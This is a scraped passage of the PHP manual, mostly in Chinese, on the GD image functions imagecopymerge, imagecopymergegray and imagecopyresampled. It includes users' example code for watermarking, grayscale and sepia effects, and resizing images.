$ptrImage = imageCreateFromPng($ptr_file) or die ('failed imageCreateFromPng');

$ptr_white = imageColorAllocate($ptrImage,255,255,255);
imageColorTransparent($ptrImage,$ptr_white);

imageCopyMerge($dstImage, $ptrImage, $ptr_x, $ptr_y, 0, 0, $ptr_w, $ptr_h, 100) or die ('failed imageCopyMerge');

imageJpeg($dstImage,'',100) or die ('failed imageJpeg');

imageDestroy($srcImage) or die ('failed imageDestroy(1)');
imageDestroy($dstImage) or die ('failed imageDestroy(2)');
imageDestroy($ptrImage) or die ('failed imageDestroy(3)');

?>
jtacon at php dot net 14-Dec-2004 05:36
This example shows how to use imageCopyMerge to create a water mark function with four random positions (the corners).

<?php
function waterMark($fileInHD, $wmFile, $transparency = 50, $jpegQuality = 90, $margin = 5) {

 $wmImg   = imageCreateFromGIF($wmFile);
 $jpegImg = imageCreateFromJPEG($fileInHD);

 // Water mark random position
 $wmX = (bool)rand(0,1) ? $margin : (imageSX($jpegImg) - imageSX($wmImg)) - $margin;
 $wmY = (bool)rand(0,1) ? $margin : (imageSY($jpegImg) - imageSY($wmImg)) - $margin;

 // Water mark process
 imageCopyMerge($jpegImg, $wmImg, $wmX, $wmY, 0, 0, imageSX($wmImg), imageSY($wmImg), $transparency);

 // Overwriting image
 ImageJPEG($jpegImg, $fileInHD, $jpegQuality);
}

waterMark('myImage.jpg','waterMark.gif');

?>

HTH.

Javier Tac?n.
claudio dot gaetani at gdldesign dot it 09-May-2004 11:04
This function is intended to serve as an example for the "imageCopyMerge"-"ImageCopyResized", "ImageColorTransparent" functions.
I hope it will help.
This function pick an image, square cut it resampled at the size requested and finishing merge the result with another one to obtain a circular image result. I have a problem to obtain an thumbnail that respect the colors and at the same time where cutted in a circular form, I hope this solution can gives you a clue to obtain a free form images, I use this one also to create multicutted images.

<?php
$generalsrc="$image"; //the image to resample, resize and iconaize
$final_thumbwidth ="125";
$final_thumbheight ="125";

$abc = imagecreatefromjpeg("$generalsrc");
$def = imagecreatetruecolor($final_thumbwidth, $final_thumbheight);
$src_mx = round((imagesx($abc) / 2)-"0.1"); // middle x point of the image
$src_my = round((imagesy($abc) / 2)-"0.1"); // middle y point of the image
$src_x = ($src_mx * 2);
$src_y = ($src_my * 2);
$src_sq = ($src_x >= $src_y)?$src_y:$src_x; //used to define the best size for a square cut of the image
$pl = ($src_x >= $src_y)?"1":"2"; //define if the image is portait or landscape
$strt_pntx = ($pl=="1")?round(($src_my / 2)-"0. 1"):"0";  //defines the x start point
$strt_pnty = ($pl=="2")?round(($src_mx / 2)-"0. 1"):"0";  //defines the y start point

imagecopyresized($def, $abc, 0, 0, $strt_pntx, $strt_pnty, $final_thumbwidth, $final_thumbheight, $src_sq, $src_sq);

$overlay_img = imagecreatefromPNG("circle_125.png"); //NOTE use png for this
$src_w = "ImageSX($overlay_img)";
$src_h  = "ImageSY($overlay_img)";

$can_img = imagecreatetruecolor($src_w, $src_h);

$black = ImageColorAllocate ($overlay_img, 0, 0, 0);

ImageColorTransparent($overlay_img , $black);

imagecopy($can_img, $def, 0,0,0,0, $src_w, $src_h);
imagecopymerge($can_img, $overlay_img , 0,0,0,0, ImageSX($overlay_img), ImageSY($overlay_img),100); //Imagecopy won't work, you must used imagecopymerge

ImageJPEG($can_img,"merge_$generalsrc",100);

imagedestroy($overlay_img);
imagedestroy($can_img);
ImageDestroy($abc);
ImageDestroy($def);

print "<HTML><HEAD><TITLE>test</TITLE></HEAD><BODY>
original:<hr><img src=\"$generalsrc\" width=\"300\"><br><br><br>new:<hr><img src=\"merge_$generalsrc\">
<br>width = $src_x
<br>height = $src_y
<br>mdlw = $src_mx
<br>mdlh = $src_my
<br>sqr = $src_sq
<br>pl = $pl
<br>start point x = $strt_pntx
<br>start point y = $strt_pnty
</BODY></HTML>";
?>
bjorn AT smokingmedia DOT com 26-May-2003 11:10
in addition to stefan's posting:

i found that if you use imagecopymerge with png-24 files with an alpha channel, it doesn't work use imagecopy instead.
it seems that imagecopymerge doesn't respect the alpha channel the way it should (a bug??).

some sample code here to place an image (image.png) on a backgroundcolor or backgroundimage.

<?php

$im = "image.png";
$bg = "ffddee";     // hex representation of the color (i.e. #ffffff for white)
$out = "png";       // or "jpg" for jpg file output
// $backgroundfile = "";  // optional backgroundfile if you don't want to use a color

//
// function to convert hex colorcode to decimal
//

function colordecode($hex){

   $code[r] = hexdec(substr($hex, 0 ,2));
   $code[g] = hexdec(substr($hex, 2 ,2));
   $code[b] = hexdec(substr($hex, 4 ,2));

   return $code;

} // end func colordecode

// create the resource id
$image_id = imageCreateFromPNG($im);

// get image size
$im_X = ImageSX($image_id);
$im_Y = ImageSY($image_id);

// create a truecolor background image of the right size
// or use a background image like this
// $backgroundimage = imageCreateFromPNG($backgroundfile);
$backgroundimage = imagecreatetruecolor($im_X, $im_Y);

// get the desired backgroundcolor:
// don't use this if you want to use a background image
$code = colordecode($bg);
$backgroundcolor = ImageColorAllocate($backgroundimage, $code[r], $code[g], $code[b]);
ImageFilledRectangle($backgroundimage, 0, 0, $im_X, $im_Y, $backgroundcolor);

// merge the two together with alphablending on!
ImageAlphaBlending($backgroundimage, true);
imagecopy($backgroundimage, $image_id, 0, 0, 0, 0, $im_X, $im_Y);

// output the image:
if($output == "jpg"){
   Header( "Content-type: image/jpeg");
   ImageJPEG($backgroundimage);
   }
   else{
       Header( "Content-type: image/png");
       ImagePNG($backgroundimage);
       }

// destroy the memory
ImageDestroy($backgroundimage);
ImageDestroy($image_id);
?>
jonny at sanriowasteland dot net 29-Sep-2002 05:36
If you need to merge 2 png's (or  presumably 2 gifs) with different color palettes, I have found this is the function to use.  Just set pct to 99, and you are rocking.  With pct set to 100, or imagecopy for that matter, the palette seems to go wonky.  (It probably just uses the palette of the source image. but don't quote me on that).
stefan dot wehowsky at profilschmiede dot de 26-Jul-2001 09:32
This function is intended to serve as an example for the "imageCopyMerge"-function.
I hope it will help some of the less experienced php-coders here.
I wrote it to mark objects of a real estate broker as "sold" by copying the "sold"-picture right into the picture of the house.

<?php

//$sourcefile = Filename of the picture into that $insertfile will be inserted.
//$insertfile = Filename of the picture that is to be inserted into $sourcefile.
//$targetfile = Filename of the modified picture.
//$transition = Intensity of the transition (in percent)
//$pos          = Position where $insertfile will be inserted in $sourcefile
//                0 = middle
//                1 = top left
//                2 = top right
//                3 = bottom right
//                4 = bottom left
//                5 = top middle
//                6 = middle right
//                7 = bottom middle
//                8 = middle left
//
//
function mergePix($sourcefile,$insertfile, $targetfile, $pos=0,$transition=50)
{

//Get the resource id?s of the pictures
    $insertfile_id = imageCreateFromJPEG($insertfile);
    $sourcefile_id = imageCreateFromJPEG($sourcefile);

//Get the sizes of both pix
    $sourcefile_width=imageSX($sourcefile_id);
    $sourcefile_height=imageSY($sourcefile_id);
    $insertfile_width=imageSX($insertfile_id);
    $insertfile_height=imageSY($insertfile_id);

//middle
    if( $pos == 0 )
    {
        $dest_x = ( $sourcefile_width / 2 ) - ( $insertfile_width / 2 );
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//top left
    if( $pos == 1 )
    {
        $dest_x = 0;
        $dest_y = 0;
    }

//top right
    if( $pos == 2 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = 0;
    }

//bottom right
    if( $pos == 3 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//bottom left
    if( $pos == 4 )
    {
        $dest_x = 0;
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//top middle
    if( $pos == 5 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = 0;
    }

//middle right
    if( $pos == 6 )
    {
        $dest_x = $sourcefile_width - $insertfile_width;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//bottom middle
    if( $pos == 7 )
    {
        $dest_x = ( ( $sourcefile_width - $insertfile_width ) / 2 );
        $dest_y = $sourcefile_height - $insertfile_height;
    }

//middle left
    if( $pos == 8 )
    {
        $dest_x = 0;
        $dest_y = ( $sourcefile_height / 2 ) - ( $insertfile_height / 2 );
    }

//The main thing : merge the two pix
    imageCopyMerge($sourcefile_id, $insertfile_id,$dest_x,$dest_y,0,0,$insertfile_width,$insertfile_height,$transition);

//Create a jpeg out of the modified picture
    imagejpeg ($sourcefile_id,"$targetfile");

}


用灰度复制并合并图像的一部分

  • ? imagecopymerge
  • imagecopyresampled ?
  • PHP Manual
  • GD 和图像处理 函数
  • 用灰度复制并合并图像的一部分

imagecopymergegray

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecopymergegray — 用灰度复制并合并图像的一部分

说明

imagecopymergegray(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $src_width,
int $src_height,
int $pct
): bool

imagecopymergegray() 将 src_image 的一部分复制到 dst_image 上，起始于 x、y 坐标 src_x、src_y，宽度为 src_width，高度为 src_height。定义的部分将被复制到 x、y 坐标 dst_x 和 dst_y 上。

本函数和 imagecopymerge() 相同，只是在合并时通过在复制操作前将目标像素转换为灰度级来保留了原色度。

参数

dst_image

目标图象资源。

src_image

源图象资源。

dst_x

目标点的 x 坐标。

dst_y

目标点的 y 坐标。

src_x

源点的 x 坐标。

src_y

源点的 y 坐标。

src_width

源图象的宽度。

src_height

源图象的高度。

pct

src_image 将根据 pct 改变灰度，其中 0 为全灰度，100 不变。当 pct = 100 时，此函数的行为与调色板图像的 imagecopy() 相同，除了忽略 alpha 组件（components），其实现了真彩色图像的 alpha 透明度。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | dst_image 和 src_image 现在需要 GdImage 实例，之前需要 resource。

示例

Example #1 imagecopymergegray() 用法

<?php
// Create image instances
$dest = imagecreatefromgif('php.gif');
$src = imagecreatefromgif('php.gif');

// Copy and merge - Gray = 20%
imagecopymergegray($dest, $src, 10, 10, 0, 0, 100, 47, 20);

// Output and free from memory
header('Content-Type: image/gif');
imagegif($dest);

imagedestroy($dest);
imagedestroy($src);
?>

User Contributed Notes

anonymous at domain dot com 16-Oct-2009 03:54
grayscale conversion is built-in with imagefilter().

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>

you could create the sepia effect by the following:

<?php
     /* other code */

     $image = imagecreatefromjpeg('some.jpg');
     imagefilter($image, IMG_FILTER_GRAYSCALE);
     imagefilter($image, IMG_FILTER_COLORIZE, 112, 66, 20);
     //Wikipedia RGB definition of sepia

     /* other code (ie save) */

     imagedestroy($image);

     /* other code */
?>
amezghal at msn dot com 09-May-2008 05:59
gray effect :)
<?php
header('content-type:image/png');
$url_img = 'my_image.png';
$img = imagecreatefrompng($url_img);
$x = imagesx($img);
$y = imagesy($img);
$gray_img = imagecreatetruecolor($x, $y);
imagecolorallocate($gray_img, 0, 0, 0);
for ($i = 0; $i < $x; $i++) {
  for ($j = 0; $j < $y; $j++) {
    $rgb = imagecolorat($img, $i, $j);
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;
     //for gray mode $r = $g = $b
    $color = max(array($r, $g, $b));
    $gray_color = imagecolorexact($new_img, $color, $color,   $color);
     imagesetpixel($gray_img, $i, $j, $gray_color);
   }
}
?>
szamil at ginf dot pl 15-Apr-2007 02:17
I've changed a little switch251's code and here we have sephia effect
<?php
   // replace with your files
    $originalFileName    = $filename;
    $destinationFileName = "2".$filename;

    // create a copy of the original image
    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension))
    {
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
    for ($y = 0; $y <$img_height; $y++)
    {
        for ($x = 0; $x <$img_width; $x++)
        {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

          //sephia
            $red2 = min($red*.393 + $green*.769 + $blue*.189,255);
            $green2 = min($red*.349 + $green*.686 + $blue*.168,255);
            $blue2  = min($red*.272 + $green*.534 + $blue*.131,255);
            // shift gray level to the left

            $grayR = $red2 << 16;   // R: red
            $grayG = $green2 << 8 ;    // G: green
            $grayB = $blue2;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>
Mark Barba 15-Aug-2005 12:31
//  Using the same code I found here on php.net,
// I was able to figure out how to convert GIF (or any other
// format GD supports) to CIP format.  CIP is the image
// format for Cisco IP Phones...  7905/7940 and 7960
// models...  Hope someone finds this useful and make it
// better...

/////// GIF2CIP PHP code ///////

// Convert image in memory to grayscale
    $img_width  = imageSX($im2);
    $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x <$img_width; $x++) {
           $rgb = imagecolorat($im2, $x, $y);
           $red  = ($rgb >> 16) & 0xFF;
           $green = ($rgb >> 8)  & 0xFF;
           $blue  = $rgb & 0xFF;

           $gray = round(.299*$red + .587*$green + .114*$blue);

           // shift gray level to the left
           $grayR = $gray << 16;  // R: red
           $grayG = $gray << 8;    // G: green
           $grayB = $gray;        // B: blue

           // OR operation to compute gray value
           $grayColor = $grayR | $grayG | $grayB;

           // set the pixel color
           imagesetpixel ($im2, $x, $y, $grayColor);
           imagecolorallocate ($im2, $gray, $gray, $gray);
       }
   }
/////////////////////////////////////////////////////////

    // Modifies palette to only 4-colors (CIP Images on 7905/7940 & 7960 is 2-bit color)
    ImageTrueColorToPalette2($im2,FALSE,4);

    // Basic header for CIP Image files...
    header ("Content-type: text/xml");
    echo "<CiscoIPPhoneImage> ";
    echo "<LocationX>-1</LocationX> ";
    echo "<LocationY>-1</LocationY> ";
    echo "<Width>132</Width> ";
    echo "<Height>65</Height> ";
    echo "<Depth>2</Depth> ";
    echo "<Data>";

// get image dimensions (almost same code as above)
   $img_width  = imageSX($im2);
   $img_height = imageSY($im2);

   // convert to grayscale
   // note: this will NOT affect your original image, unless
   // originalFileName and destinationFileName are the same
   for ($y = 0; $y <$img_height; $y++) {
       for ($x = 0; $x+4 <$img_width; $x = $x+4)
       {
            for ($ix = 0; $ix < 4; $ix++)
            {
               $rgb = imagecolorat($im2, $x + $ix, $y);

               // I came up with this translation on my own
               // Some smart person is bound to perfect it
               if ($rgb=="2") {$rgb=0;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="0") {$rgb=2;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="1") {$rgb=1;$Gray1[$ix] = $rgb;continue;}
               if ($rgb=="3") {$rgb=3;$Gray1[$ix] = $rgb;continue;}
           }
                $gray1 = $Gray1[0];
                $gray2 = $Gray1[1] << 2;
                $gray3 = $Gray1[2] << 4;
                $gray4 = $Gray1[3] << 6;

                // Pack 4 pixels into a single byte for CIP images
                $grey = $gray1 | $gray2 | $gray3 | $gray4;

                // CIP image data is sent in HEX, strtoupper is not really needed.
                $code = strtoupper(dechex($grey));

                // My quick fix to padding single HEX values
                if (strlen($code)==1) $code = "0".$code;
                echo $code;

       }

   }
    echo "</Data>";
    echo "<Title>$myvar</Title> ";
    echo "<Prompt>$city</Prompt> ";
    echo "</CiscoIPPhoneImage>";
    exit;
switch251 at netcourrier dot com 15-Apr-2004 07:18
In addition to code_couturier too: his code will produce blue pictures, because the value he uses to set the pixel color (the code is incomplete: I first thought it should be $gray) is between 0 and 255, which corresponds to blue levels.

To convert the picture to grayscale, use the following code:

<?php
    // replace with your files
    $originalFileName    = "colorPicture.jpg";
    $destinationFileName = "bwPicture.jpg";

    // create a copy of the original image
    // works with jpg images
    // fell free to adapt to other formats ;)
    $fullPath = explode(".",$originalFileName);
    $lastIndex = sizeof($fullPath) - 1;
    $extension = $fullPath[$lastIndex];
    if (preg_match("/jpg|jpeg|JPG|JPEG/", $extension)){
        $sourceImage = imagecreatefromjpeg($originalFileName);
    }

    // get image dimensions
    $img_width  = imageSX($sourceImage);
    $img_height = imageSY($sourceImage);

    // convert to grayscale
    // note: this will NOT affect your original image, unless
    // originalFileName and destinationFileName are the same
    for ($y = 0; $y <$img_height; $y++) {
        for ($x = 0; $x <$img_width; $x++) {
            $rgb = imagecolorat($sourceImage, $x, $y);
            $red   = ($rgb >> 16) & 0xFF;
            $green = ($rgb >> 8)  & 0xFF;
            $blue  = $rgb & 0xFF;

            $gray = round(.299*$red + .587*$green + .114*$blue);

            // shift gray level to the left
            $grayR = $gray << 16;   // R: red
            $grayG = $gray << 8;    // G: green
            $grayB = $gray;         // B: blue

            // OR operation to compute gray value
            $grayColor = $grayR | $grayG | $grayB;

            // set the pixel color
            imagesetpixel ($sourceImage, $x, $y, $grayColor);
            imagecolorallocate ($sourceImage, $gray, $gray, $gray);
        }
    }

    // copy pixel values to new file buffer
    $destinationImage = ImageCreateTrueColor($img_width, $img_height);
    imagecopy($destinationImage, $sourceImage, 0, 0, 0, 0, $img_width, $img_height);

    // create file on disk
    imagejpeg($destinationImage, $destinationFileName);

    // destroy temp image buffers
    imagedestroy($destinationImage);
    imagedestroy($sourceImage);
?>

Copy-paste, replace the file names on the top and there you go (picture files must be in same folder as this script. If not, you will have to do your own file management).
annonymous at example dot com 15-Feb-2004 04:25
in addition to code_couturier - try this formula to calculate gray-value (luminance) in his "more exact" way:

$gray = round(.299*$red + .587*$green + .114*$blue);
code_couturier at graffiti dot net 18-Oct-2003 12:08
# very fast way to generate a grayscal-
# image from a true color image

#...

# --- quick grayscale image
for ($y = 0; $y <$img_height; $y++) {
 for ($x = 0; $x <$img_width; $x++) {

 # here we extract the green from
 # the pixel at x,y , to use it as gray value
 $gray = (ImageColorAt($image, $x, $y) >> 8) & 0xFF;

 # a more exact way would be this:
 # $rgb = ImageColorAt($image, $x, $y);
 # $red = ($rgb >> 16) & 0xFF;
 # $green = (trgb >> 8) & 0xFF;
 # $blue = $rgb & 0xFF;
 # $gray = (int)(($red+$green+$blue)/4);

 # and here we set the new pixel/color
  imagesetpixel ($image, $x, $y,
  ImageColorAllocate ($image, $gray,$gray,$gray));
 }
}

# ...
mail at laeubi dot de 09-Oct-2003 12:45
This function don't work properly for me on trucolerimages (have not tried yet for other types) it jsut produce a part-grayscale image, and some color get mesed up.
I found a workaround here:
http://www.phpbuilder.com/columns/cash20030526.php3?page=2

[quote]
Advanced Image Editing Under the GD Library
Colorizing
Colorizing images is fairly easy to do. The easiest way to colorize an image is fairly simple to grasp. Create an image of the same dimensions and fill that image with the color you want to change it to. This new image is then placed on top of the older image, giving it a colorized look.

<?php
function imagecolorize(&$im,&$col,$pct) {
    // Get the image's width
    $im_w = imagesx($im);
    // Get the image's height
    $im_h = imagesy($im);
    // Set a pixel with the color, so we can get it easily
    $setpixel = imagesetpixel($im,$im_w,0,$col);
    // Get the color
    $index = imagecolorat($im,$im_w,0);
    // Find the color in the index
    $rgb = imagecolorsforindex($im,$index);
    // Get the red value
    $r = $rgb["red"];
    // Get the green value
    $g = $rgb["green"];
    // Get the blue value
    $b = $rgb["blue"];
    // Create the layover
    $layover = imagecreate($im_w,$im_h);
    // Allocate the color on this image
    $color = imagecolorallocate($layover,$r,$g,$b);
    // Fill the image with the new color (this really isn't needed)
    $fill = imagefill($layover,0,0,$color);
    // Merge the layover on top of the older image
    $merge = imagecopymerge($im,$layover,0,0,0,0,$im_w,$im_h,$pct);
    imagedestroy($layover); // Destroy the layover
}
?>

If we use a blue layover RGB(0,0,255), we get this result:
[/quote]

if you use black or gray, its not perfekt, but better than nothing ;)


重采样拷贝部分图像并调整大小

  • ? imagecopymergegray
  • imagecopyresized ?
  • PHP Manual
  • GD 和图像处理 函数
  • 重采样拷贝部分图像并调整大小

imagecopyresampled

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecopyresampled — 重采样拷贝部分图像并调整大小

说明

imagecopyresampled(
GdImage $dst_image,
GdImage $src_image,
int $dst_x,
int $dst_y,
int $src_x,
int $src_y,
int $dst_width,
int $dst_height,
int $src_width,
int $src_height
): bool

imagecopyresampled() 将一幅图像中的一块正方形区域拷贝到另一个图像中，平滑地插入像素值，因此，尤其是，减小了图像的大小而仍然保持了极大的清晰度。

换句话说，imagecopyresampled() 会从 src_image 中取出一个宽度为 src_width 高度为 src_height 的矩形区域，在位置（src_x、src_y）并将其放置在 dst_image 中宽度为 dst_width 高度为 dst_height 的矩形区域中，位置为（dst_x、dst_y）。

如果源和目标的宽度和高度不同，则会进行相应的图像收缩和拉伸。坐标指的是左上角。本函数可用来在同一幅图内部拷贝（如果 dst_image 和 src_image 相同的话）区域，但如果区域交迭的话则结果不可预知。

参数

dst_image

目标图象资源。

src_image

源图象资源。

dst_x

目标 X 坐标点。

dst_y

目标 Y 坐标点。

src_x

源的 X 坐标点。

src_y

源的 Y 坐标点。

dst_width

目标宽度。

dst_height

目标高度。

src_width

源图象的宽度。

src_height

源图象的高度。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | dst_image 和 src_image 现在需要 GdImage 实例，之前需要 resource。

示例

Example #1 简单的示例

这个例子会将图像调整为原有尺寸的一半。

<?php
// 这个文件
$filename = 'test.jpg';
$percent = 0.5;

// 内容类型
header('Content-Type: image/jpeg');

// 获取新的尺寸
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// 重新取样
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// 输出
imagejpeg($image_p, null, 100);
?>

以上示例的输出类似于：

Example #2 按比例对图像重新采样

这个例子会以最大宽度高度为 200 像素显示一个图像。

<?php
// 源文件
$filename = 'test.jpg';

// 设置最大宽高
$width = 200;
$height = 200;

// Content type
header('Content-Type: image/jpeg');

// 获取新尺寸
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
$width = $height*$ratio_orig;
} else {
$height = $width/$ratio_orig;
}

// 重新取样
$image_p = imagecreatetruecolor($width, $height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

// 输出
imagejpeg($image_p, null, 100);
?>

以上示例的输出类似于：

注释

Note:

因为调色板图像限制（255+1 种颜色）有个问题。重采样或过滤图像通常需要多于 255 种颜色，计算新的被重采样的像素及其颜色时采用了一种近似值。对调色板图像尝试分配一个新颜色时，如果失败我们选择了计算结果最接近（理论上）的颜色。这并不总是视觉上最接近的颜色。这可能会产生怪异的结果，例如空白（或者视觉上是空白）的图像。要跳过这个问题，请使用真彩色图像作为目标图像，例如用 imagecreatetruecolor() 创建的。

参见

  • imagecopyresized() - 拷贝部分图像并调整大小
  • imagescale() - Scale an image using the given new width and height
  • imagecrop() - Crop an image to the given rectangle

User Contributed Notes

mark at manngo dot net 12-Feb-2022 07:57
Note that as of PHP 8.1, you will get deprecated errors if the arguments are floating point. You will save yourself a lot of angst if you cast the arguments:

<?php
    imagecopyresampled(
        $dst_image, $src_image,
        (int) $dst_x,        (int) $dst_y,
        (int) $src_x,        (int) $src_y,
        (int) $dst_width,    (int) $dst_height,
        (int) $src_width,    (int) $src_height
    );
?>

You could also have rounded them off, but I think casting them is truer to the original behaviour.
aykuty at gmail dot com 14-Nov-2018 08:21
scale image with ratio and then completes to the canvas size by centering

<?php

/*
verilen maksimum de?erlere g?re resmi boyutland?r?r ve beyaz renk ile cerceveye ortalar. trendyol entegrasyonu i?in yazm??t?m.

Aykut YILDIZG?RüR
aykuty add gmail dot com
*/

function set_image2canvas($file, $new_file, $canvas_width=1200, $canvas_height =1800, $quality=100) {

    if (!file_exists( $new_file )) {

        list($width, $height, $type, $attr) = getimagesize( $file );

        if($width> $height) {
                $width_tt=$canvas_width;
                $height_tt=round($height/$width*$canvas_width);
                $off_y = ceil(( $canvas_height - $height_tt)/2);
                $off_x=0;

        } else {
                $height_tt=$canvas_height;
                $width_tt=round($width/$height*$canvas_height);
                $off_x=ceil(($canvas_width - $width_tt)/2);
                $off_y=0;
        }

        $thumb=imagecreatefromjpeg( $file );
        $thumb_p = imagecreatetruecolor($canvas_width, $canvas_height);

        $bg = imagecolorallocate ( $thumb_p, 255, 255, 255 );
        imagefill ( $thumb_p, 0, 0, $bg );
        imagecopyresampled($thumb_p, $thumb, $off_x, $off_y, 0, 0, $width_tt, $height_tt, $width, $height);

        imagejpeg($thumb_p,$new_file,$quality);

    }else{ //hedef resim zaten var
            return -1;
    }
}
?>
julien at go-on-web dot com 02-Apr-2014 08:59
Windows does not accept floating width and height...

So, in "Example #2 Resampling an image proportionally", prefer :
<?php
if ($width/$height > $ratio_orig) {
   $width = round( $height*$ratio_orig );
} else {
   $height = round( $width/$ratio_orig );
}
?>
(used "round")
otherwise your image wont be resized.
kazuya 11-Mar-2014 02:24
<?php

$new_file = img_resize("./img/", "test.jpg","copy_test.jpg",300);
echo "<IMG src = '$new_file'>";

function img_resize($path,$tmp_name,$new_name,$new_width){
    if (!file_exists($path.$filename)){
        echo "file not found!";
        exit;
    }
    if (!is_writable($path)){
        echo "error:permission denied!";
        exit;
    }
    list($width, $height) = getimagesize($path . $tmp_name);
    $new_height = abs($new_width * $height / $width);
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image = imagecreatefromjpeg($path . $tmp_name);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                        $new_width, $new_height, $width, $height);
    imagejpeg($image_p, $path . $new_name);
    return $path.$new_name;
}

?>
sam at durosoft.com 17-Aug-2013 06:18
The ultimate smart image re-sizing routine. You provide the original image, and a desired width and/or height. The function will intelligently re-size the original image to fit, centered, within the specified dimensions. Either width or height can be omitted to have the re-size "lock" only on width or height. Fantastic for thumbnail generation. Designed to work with PNG's.

function resize_image_smart($orig, $dest_width=null, $dest_height=null)
{
  $orig_width = imagesx($orig);
  $orig_height = imagesy($orig);
  $vertical_offset = 0;
  $horizontal_offset = 0;
  if($dest_width == null)
  {
    if($dest_height == null)
    {
      die('$dest_width and $dest_height cant both be null!');
    }
    // height is locked
    $dest_width = $dest_height * $orig_width / $orig_height;
  } else {
    if($dest_height == null)
    {
      // width is locked
      $dest_height = $dest_width * $orig_height / $orig_width;
    } else {
      // both dimensions are locked
      $vertical_offset = $dest_height - ($orig_height * $dest_width) / $orig_width;
      $horizontal_offset = $dest_width - ($dest_height * $orig_width) / $orig_height;
      if($vertical_offset < 0) $vertical_offset = 0;
      if($horizontal_offset < 0) $horizontal_offset = 0;
    }
  }
  $img = imagecreatetruecolor($dest_width, $dest_height);
  imagesavealpha($img, true);
  imagealphablending($img, false);
  $transparent = imagecolorallocatealpha($img, 0, 0, 0, 127);
  imagefill($img, 0, 0, $transparent);
  imagecopyresampled($img, $orig, round($horizontal_offset / 2),
                                  round($vertical_offset / 2),
                                  0,
                                  0,
                                  round($dest_width - $horizontal_offset),
                                  round($dest_height - $vertical_offset),
                                  $orig_width,
                                  $orig_height);
  return $img;
}
wbcarts at juno dot com 18-Jul-2013 07:14
FOUR RECTANGLES

                  $src_image                                   $dst_image
+------------+---------------------------------+   +------------+--------------------+
|            |                                 |   |            |                    |
|            |                                 |   |         $dst_y                  |
|            |                                 |   |            |                    |
|         $src_y                               |   +-- $dst_x --+----$dst_width----+ |
|            |                                 |   |            |                  | |
|            |                                 |   |            |    Resampled     | |
|            |                                 |   |            |                  | |
+-- $src_x --+------ $src_width ------+        |   |       $dst_height             | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            +------------------+ |
|            |        Sample          |        |   |                                 |
|            |                        |        |   |                                 |
|            |                        |        |   |                                 |
|       $src_height                   |        |   |                                 |
|            |                        |        |   +---------------------------------+
|            |                        |        |
|            |                        |        |
|            +------------------------+        |
|                                              |
|                                              |
+----------------------------------------------+
hoangvu4000 at gmail dot com 26-May-2013 05:50
My complete function to resize an image  with exif data

<?php
function CreateThumbnail($pic,$thumb,$thumbwidth, $quality = 100)
{

        $im1=ImageCreateFromJPEG($pic);
        if(function_exists("exif_read_data")){
                $exif = exif_read_data($pic);
                if(!empty($exif['Orientation'])) {
                switch($exif['Orientation']) {
                case 8:
                    $im1 = imagerotate($im1,90,0);
                    break;
                case 3:
                    $im1 = imagerotate($im1,180,0);
                    break;
                case 6:
                    $im1 = imagerotate($im1,-90,0);
                    break;
                }
                }
        }
        $info = @getimagesize($pic);

        $width = $info[0];

        $w2=ImageSx($im1);
        $h2=ImageSy($im1);
        $w1 = ($thumbwidth <= $info[0]) ? $thumbwidth : $info[0]  ;

        $h1=floor($h2*($w1/$w2));
